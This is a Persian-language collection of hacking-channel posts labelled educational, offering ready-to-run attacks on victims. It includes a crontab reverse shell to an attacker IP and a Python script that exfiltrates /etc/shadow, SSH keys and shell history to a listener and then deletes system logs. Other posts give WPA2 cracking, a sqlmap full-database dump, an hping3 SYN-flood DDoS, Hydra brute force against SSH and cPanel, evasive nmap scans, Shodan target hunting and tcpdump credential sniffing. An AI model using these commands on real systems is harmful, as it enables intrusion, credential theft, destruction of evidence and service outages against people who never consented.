هک وای‌فای (WPA2) با aircrack-ng

sudo airmon-ng start wlan0
sudo airodump-ng wlan0mon
sudo airodump-ng -c 6 --bssid TARGET_MAC -w capture wlan0mon
sudo aireplay-ng -0 5 -a TARGET_MAC wlan0mon
sudo aircrack-ng -w wordlist.txt capture-01.cap

✍ نکته تکمیلی: فقط wordlist.txt یادتون نره رو وای‌فای همسایه هم تست نکنید. 😂

#aircrack_ng #WPA2 #آموزشی #ℳℴ𝒷𝒾𝓃

https://github.com/mrnullhack/RDP_CRACK

گفتم بی انصافی میکنم تو حق کرکر های عزیز
اینم ی ابزار خوب و خفن برای شما
آموزش استفاده کامل توی گیت هاب داده شده حتما بعد استفاده نظر خودتون رو با ما در اشتراک بزارید

استخراج کامل دیتابیس SQL با یک خط:

sqlmap -u "http://target.com/?id=1" --dbs --batch --dump-all

فقط URL آسیب‌پذیر رو بذار و خودش همه چی رو میکشه بیرون.

#sqlmap #آموزشی #ℳℴ𝒷𝒾𝓃

حمله DDoS با hping3

hping3 -S --flood -p 80 target.com

پورت 80 سایت رو با SYN Flood نابود میکنه

#hping3_DDoS #آموزشی #ℳℴ𝒷𝒾𝓃

بک‌دور دائمی تو سیستم قربانی است:
حتما باید رو سیستم خودتون شنود زده باشید مثل کد زیر

nc -lvnp 5555

بعد سیستم اون بدبخت هم اینو اجرا کنید:

echo "0 */1 * * * bash -i >& /dev/tcp/123.456.7.8/5555 0>&1" >> /etc/crontab

حالا چی میشه؟
یه cron job به سیستم قربانی اضافه می‌کنه که هر ۱ ساعت، یه شل معکوس به سیستم تو می‌فرسته و رو ترمینال میاد که حتی اگه سیستم ری‌استارت بشه، این کار باقی می‌ماند.

اگه می‌خواید زودتر از ۱ ساعت شل بگیرید، این رو اجرا کنید:

(crontab -l; echo "* * * * * bash -i >& /dev/tcp/123.456.7.8/5555 0>&1") | crontab -

این یعنی هر دقیقه شل می‌فرسته

#SHELL #آموزشی #ℳℴ𝒷𝒾𝓃

دوره کاملا از دیشب پر شده ممنون میشم تا دوره های بعدی صبر کنین اصلا جا نیست ممنون

کسی نبود؟

کد شل معکوس بد گرفتن شل:

چیکار می‌کنه این کد؟
همه اطلاعات حیاتی مثل هش پسورد، کلید SSH، تاریخچه فرمان‌ها، کاربران، کرون‌جاب ها براتون میاد بعدش خودش همه لاگ‌ها رو پاک می‌کنه. هیچ ردی نمی‌مونه.

خوب حالا چطوریه؟
اول باید یه شنود اوکی کنید رو سیستم:

nc -lvnp 4444

تموم حالا این اسکریپت رو روی سیستم اون بدبخت بزن:

#!/usr/bin/env python3
# Silent Killer - Post-Exploitation Script
# بعد از گرفتن شل، اینو اجرا کن

import os
import subprocess
import socket
import time

ATTACKER_IP = "192.168.1.5"
ATTACKER_PORT = 4444

def exfiltrate(data):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((ATTACKER_IP, ATTACKER_PORT))
        sock.send(data.encode())
        sock.close()
    except:
        pass

def grab_all():
    # ۱. استخراج همه هش‌های پسورد
    hashes = subprocess.check_output("cat /etc/shadow 2>/dev/null || echo 'no shadow'", shell=True)
    exfiltrate(f"[SHADOW]\n{hashes.decode()}")

    # ۲. استخراج کلیدهای SSH
    ssh_keys = subprocess.check_output("find / -name 'id_rsa' -o -name 'id_dsa' 2>/dev/null | head -20", shell=True)
    exfiltrate(f"[SSH_KEYS]\n{ssh_keys.decode()}")

    # ۳. استخراج تاریخچه شل
    history = subprocess.check_output("cat ~/.bash_history 2>/dev/null || echo 'no history'", shell=True)
    exfiltrate(f"[HISTORY]\n{history.decode()}")

    # ۴. استخراج اطلاعات شبکه
    network = subprocess.check_output("ifconfig 2>/dev/null || ip addr 2>/dev/null", shell=True)
    exfiltrate(f"[NETWORK]\n{network.decode()}")

    # ۵. استخراج کاربران
    users = subprocess.check_output("cat /etc/passwd 2>/dev/null | grep '/bin/bash'", shell=True)
    exfiltrate(f"[USERS]\n{users.decode()}")

    # ۶. استخراج کرون‌جاب‌ها
    crons = subprocess.check_output("cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null", shell=True)
    exfiltrate(f"[CRONS]\n{crons.decode()}")

def wipe_logs():
    # پاک کردن ردپا
    subprocess.call("rm -rf /var/log/* 2>/dev/null", shell=True)
    subprocess.call("history -c 2>/dev/null", shell=True)
    subprocess.call("unset HISTFILE 2>/dev/null", shell=True)
    subprocess.call("rm -f ~/.bash_history 2>/dev/null", shell=True)
    exfiltrate("[+] Logs wiped")

if __name__ == "__main__":
    grab_all()
    wipe_logs()
    exfiltrate("[+] DONE - All data extracted")

فقط آی‌پی خودتون رو یادتون باشه ویرایش کنید و بزنید.

همین دیگه تمام چیز خاصی نداره. 🌷

#SHELL #آموزشی #ℳℴ𝒷𝒾𝓃

حمله به سرور SSH با Hydra (کرک پسورد)

hydra -l root -P rockyou.txt ssh://target.com

-l root یوزرنیم هدف
-P rockyou.txt لیست پسورد

بعد از چند دقیقه اگر ضعیف باشه پسوردش درمیاد البته به پسوردلیست شما و تارگت بستگی داره، مثلا تارگت روسی سعی کنید پسورد لیست روسی هم تست کنید و...

پسورد لیست دارید؟ با ری‌اکشن [👍/👎] بگید 🌷

#SSH #Hydra #آموزشی #ℳℴ𝒷𝒾𝓃

حمله به CPanel هم مثل قبلی هست:

hydra -l admin -P rockyou.txt target.com http-post-form "/login/:user=^USER^&pass=^PASS^:F=incorrect"

فقط:

فرم لاگین cPanel رو هدف بگیر
پسوردش درمیاد و کل هاست دستته

مثل قبلی پسورد لیست میخواد.

#cPanel #آموزشی #ℳℴ𝒷𝒾𝓃

اسکن آسیب‌پذیری کامل سرور

nmap -sV -sC -p- --script=vuln target.com

همه پورت‌ها رو اسکن میکنه و آسیب‌پذیری‌های شناخته‌شده رو نشون میده و اگه سرور قدیمی باشه، اکسپلویتش رو پیدا میکنی...

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

فقط بزنید کد اسکنر گاد زیر رو... 🗿
یه نسخه عالی از کد بالا است.

t=target.com; sudo nmap -sS -sV -sC -O -A -p- -T4 --min-rate=10000 --script="vuln,auth,default,discovery,exploit,brute,broadcast,dos" --script-timeout=60s --open --reason -oN /tmp/god_scan_$t.txt $t 2>/dev/null; echo "[+] OPEN PORTS:"; grep "open" /tmp/god_scan_$t.txt; echo; echo "[+] VULNERABILITIES:"; grep -iE "vulnerable|cve-|exploit|brute|weak|auth|bypass|backdoor|default password" /tmp/god_scan_$t.txt; echo; echo "[+] OS DETECTION:"; grep -iE "os:|running:|aggressive|device type" /tmp/god_scan_$t.txt; echo; echo "[+] FULL REPORT SAVED: /tmp/god_scan_$t.txt"

فقط کافیه target.com رو عوض کنی و کل خط رو بزنی تو ترمینال...

✅ همه پورت‌های باز پورت‌های باز
✅ آسیب‌پذیری‌ها (CVE ها، بک‌دورها، پسورد پیش‌فرض)
✅ سیستم‌عامل، دقیق با نسخه
✅ با گزارش کامل

#nmap #آموزشی #ℳℴ𝒷𝒾𝓃

ممنونم از اعتمادتون 🙏
خوشحالم که در کنار شما به‌عنوان ادمین فعالیت می‌کنم. امیدوارم بتونیم محتوای مفید و حرفه‌ای در زمینه هک و امنیت برای اعضای چنل ارائه بدیم. 🤝🔐
#Tyger

🛡️ Blue Team Fact

گاهی یک Login موفق، خودش نشونه‌ی حمله نیست؛
اما اگر همان Login از یک IP غیرمعمول، در ساعت غیرعادی و همراه با تغییرات مشکوک در حساب انجام شود، می‌تواند یک IOC/Signal مهم برای SOC باشد.

🎯 تحلیل‌گرهای SOC معمولاً به یک Event منفرد اکتفا نمی‌کنند؛ Correlation بین چندین Event است که تصویر واقعی حمله را می‌سازد.

#SOC #BlueTeam #CyberSecurity
#Tyger

Monospace

🌐 Whois: ثبت‌کننده دامنه، تاریخ، DNS

whois target.com

اطلاعات مفید:
- نام و ایمیل ثبت‌کننده (شاید فیشینگ)
- تاریخ ایجاد و انقضا
- Name Servers
- شماره تلفن (معمولاً مخفی با WHOIS Guard)

⚡️ ابزار آنلاین: whois.domaintools.com
⚡️ در ترمینال: whois target.com

🎯 میزبانی مشترک بودن دامنه‌ها؟ → شاید حمله به هاست!


#آموزشی #Whois
#آموزشی #Whois

Shodan: موتور جستجوی دستگاه‌های متصل

🌍 Shodan: گوگل برای دستگاه‌های IoT و سرورها!

دستورات جستجو:
port:21 city:"Tehran"
port:3389 os:"Windows"
"default password" country:IR
cisco country:IR
apache after:2024

🎯 جستجوی پیشرفته:
webcam port:554 country:IR
mysql port:3306 country:IR

🔍 Shodan برای پیدا کردن هدف‌های بالقوه عالی است

#آموزشی #Shodan

مخفی کردن خودت موقع اسکن (Stealth Mode)

nmap -sS -p- -T2 -D RND:10 --randomize-hosts --spoof-mac 0 -f target.com

پیدا کردن آسیب‌پذیری‌های خاص با یک خط

nmap --script="http-*" -p 80,443 target.com | grep -E "CVE|exploit|vulnerable|http-enum|http-title|http-headers"

گرفتن اطلاعات WHOIS و DNS با یک خط

whois target.com && dig ANY target.com +short && host -a target.com

پیدا کردن ساب‌دامین‌های مخفی

for sub in $(cat wordlist.txt); do host $sub.target.com | grep "has address" & done; wait

کرک SSH سریع با هیدرا

hydra -l root -P rockyou.txt -t 4 -w 5 ssh://target.com

شنود ترافیک شبکه با tcpdump

sudo tcpdump -i eth0 -nn -s0 -A 'port 80 or port 443' | grep -iE "password|user|token|cookie"

دور زدن فایروال با فرگمنت‌کردن

nmap -f --mtu 8 -sS -p 80,443 target.com

پیدا کردن فایل‌های حساس روی سرور

for ext in .bak .sql .zip .tar.gz .env .config; do echo "--- $ext ---"; curl -s -o /dev/null -w "%{http_code}" http://target.com/backup$ext; echo; done

تمام🗿

#nmap #Hydra #SSH #Hacking #آموزشی #ℳℴ𝒷𝒾𝓃

جمع‌آوری اطلاعات از طریق ایمیل

🩸 OSINT از ایمیل‌ها:

۱. بررسی HaveIBeenPwned (هشدار لو رفتن رمز)
۲. جستجوی Hunter.io برای ایمیل‌های سازمانی
۳. بررسی LinkedIn برای ساختار ایمیل (first.last@company.com)
۴. Sherlock: پیدا کردن حساب‌های کاربری با یک نام کاربری

🎯 ابزار: theHarvester
theHarvester -d target.com -b google,linkedin

#آموزشی #Email #OSINT

Phishing Frenzy | فریم‌ورک شبیه‌سازی فیشینگ 🎣

🔺 Phishing Frenzy یک ابزار متن‌باز برای مدیریت و اجرای کمپین‌های فیشینگ در محیط‌های تست امنیتی است.

🔺 امکان ساخت صفحات شبیه‌سازی‌شده، مدیریت کمپین‌ها و بررسی نتایج را فراهم می‌کند.

📌 مناسب برای آموزش، آگاهی‌رسانی و ارزیابی امنیت سازمان‌ها

🔗 GitHub link

#Phishing #CyberSecurity
#Tyger